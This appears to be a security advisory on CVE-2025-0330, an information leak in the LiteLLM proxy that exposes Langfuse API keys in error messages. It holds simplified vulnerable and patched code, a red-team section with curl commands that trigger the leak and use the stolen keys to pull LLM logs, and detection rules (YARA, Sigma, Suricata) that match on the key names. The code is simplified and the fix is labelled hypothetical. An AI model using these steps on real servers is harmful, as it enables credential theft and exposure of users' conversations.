CVE-2025-0330

Executive Summary

CVE-2025-0330 is a critical information disclosure vulnerability in Berriai's LiteLLM proxy server (version v1.52.1). The flaw resides in proxy_server.py, where an error during the parsing of team settings inadvertently exposes Langfuse API keys (including langfuse_secret and langfuse_public_key) in error messages. This leakage grants an attacker full access to the associated Langfuse project, which stores all LLM request logs, potentially exposing sensitive conversation data, API keys, and user prompts. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched.

Supply Chain & Package Security

This vulnerability affects the PyPI package litellm (version 1.52.1). Organizations using this package in their AI/LLM infrastructure are at risk. The exposure of Langfuse credentials can lead to a complete compromise of the observability layer, allowing attackers to exfiltrate all logged LLM interactions. No official patch or advisory has been released by the vendor as of this report.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Full disclosure of Langfuse API keys and associated data.
• Integrity (I): None (N) – No data modification is possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The ease of exploitation and the high value of exposed data (LLM request logs) make this a critical risk for any organization using LiteLLM with Langfuse integration.

Deep Dive & Mechanics

The vulnerability is located in the proxy_server.py file of LiteLLM v1.52.1. When the proxy server processes team settings, it attempts to parse configuration data. If an error occurs during this parsing (e.g., malformed input, missing fields), the exception handler inadvertently includes the raw configuration data in the error response. This data contains the Langfuse API keys (langfuse_secret and langfuse_public_key) as part of the team settings.

The core issue is a lack of proper error handling and data sanitization. The exception handler does not filter out sensitive fields before returning the error message to the client. An attacker can trigger this error by sending a crafted request to the proxy server's team settings endpoint, causing the server to leak the credentials.

Attack Flow:

1. Attacker identifies a LiteLLM proxy server (v1.52.1) exposed to the network.
2. Attacker sends a malformed request to the team settings endpoint (e.g., /team/settings).
3. The server fails to parse the request and returns an error response containing the full team configuration, including Langfuse API keys.
4. Attacker uses the leaked keys to authenticate to the Langfuse project.
5. Attacker exfiltrates all stored LLM request logs, prompts, and responses.

Vulnerable vs. Patched Code

Vulnerable Code (v1.52.1):

# proxy_server.py (simplified)
def parse_team_settings(data):
    try:
        # ... parsing logic ...
        return parsed_data
    except Exception as e:
        # VULNERABLE: Returns raw data in error message
        return {"error": f"Failed to parse team settings: {data}"}

Patched Code (Hypothetical):

# proxy_server.py (patched)
def parse_team_settings(data):
    try:
        # ... parsing logic ...
        return parsed_data
    except Exception as e:
        # PATCHED: Sanitize sensitive fields before returning
        sanitized_data = {k: v for k, v in data.items() if k not in ['langfuse_secret', 'langfuse_public_key']}
        return {"error": f"Failed to parse team settings: {sanitized_data}"}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of LiteLLM v1.52.1 with Langfuse integration enabled.
• Network access to the proxy server's API endpoint.

Exploitation Steps:

1. Identify the target LiteLLM proxy server (e.g., http://target:4000).
2. Send a malformed request to the team settings endpoint:

   curl -X POST http://target:4000/team/settings \
     -H "Content-Type: application/json" \
     -d '{"invalid": "data"}'
   

3. The server will respond with an error message containing the Langfuse API keys:

   {
     "error": "Failed to parse team settings: {'langfuse_secret': 'sk-lf-...', 'langfuse_public_key': 'pk-lf-...', ...}"
   }
   

4. Use the leaked keys to access the Langfuse project:

   curl -H "Authorization: Bearer sk-lf-..." https://cloud.langfuse.com/api/public/observations
   

5. Exfiltrate all LLM request logs.

Blue Team

Detection:

• Monitor for error responses containing the strings langfuse_secret or langfuse_public_key.
• Alert on any successful authentication to Langfuse from unexpected IP addresses.
• Review server logs for malformed requests to /team/settings endpoints.

Mitigation:

• Immediately rotate all Langfuse API keys.
• Disable the team settings endpoint if not required.
• Apply network segmentation to restrict access to the proxy server.
• Implement a WAF rule to block requests containing suspicious patterns.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to cloud.langfuse.com from the proxy server.
  • HTTP requests containing langfuse_secret or langfuse_public_key in response bodies.
• Logs:
  • Error messages in proxy_server.py logs containing the string Failed to parse team settings:.
  • Successful authentication events to Langfuse from unknown IPs.
• File:
  • Unauthorized access to Langfuse project data (e.g., observations, traces).

Detection Engineering

YARA Rule

rule CVE_2025_0330_Langfuse_Leak {
    meta:
        description = "Detects exposure of Langfuse API keys in LiteLLM error responses"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-0330"
    strings:
        $s1 = "langfuse_secret" ascii wide nocase
        $s2 = "langfuse_public_key" ascii wide nocase
        $s3 = "Failed to parse team settings" ascii wide nocase
    condition:
        all of ($s*)
}

Sigma Rule

title: CVE-2025-0330 - LiteLLM Langfuse API Key Leakage
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects error responses from LiteLLM proxy server containing Langfuse API keys
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: litellm
detection:
    selection:
        response_body|contains:
            - 'langfuse_secret'
            - 'langfuse_public_key'
            - 'Failed to parse team settings'
    condition: selection
falsepositives:
    - Legitimate debugging sessions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0330 - LiteLLM Langfuse API Key Leakage"; flow:to_client; content:"langfuse_secret"; http_server_body; content:"langfuse_public_key"; http_server_body; content:"Failed to parse team settings"; http_server_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Rotate all Langfuse API keys (langfuse_secret and langfuse_public_key) immediately.
2. Disable the team settings endpoint in the LiteLLM proxy server configuration.
3. Review Langfuse project logs for any unauthorized access.

Long-term Fixes:

1. Apply the vendor patch once released (currently UNKNOWN).
2. Implement proper error handling that sanitizes sensitive data before returning error messages.
3. Add input validation to prevent malformed requests from triggering the vulnerability.
4. Conduct a security audit of the entire LiteLLM codebase for similar issues.

Workarounds:

• Use a reverse proxy (e.g., Nginx) to filter out sensitive fields from error responses.
• Implement a WAF rule to block requests containing langfuse_secret or langfuse_public_key in responses.
• Restrict network access to the proxy server to trusted IPs only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert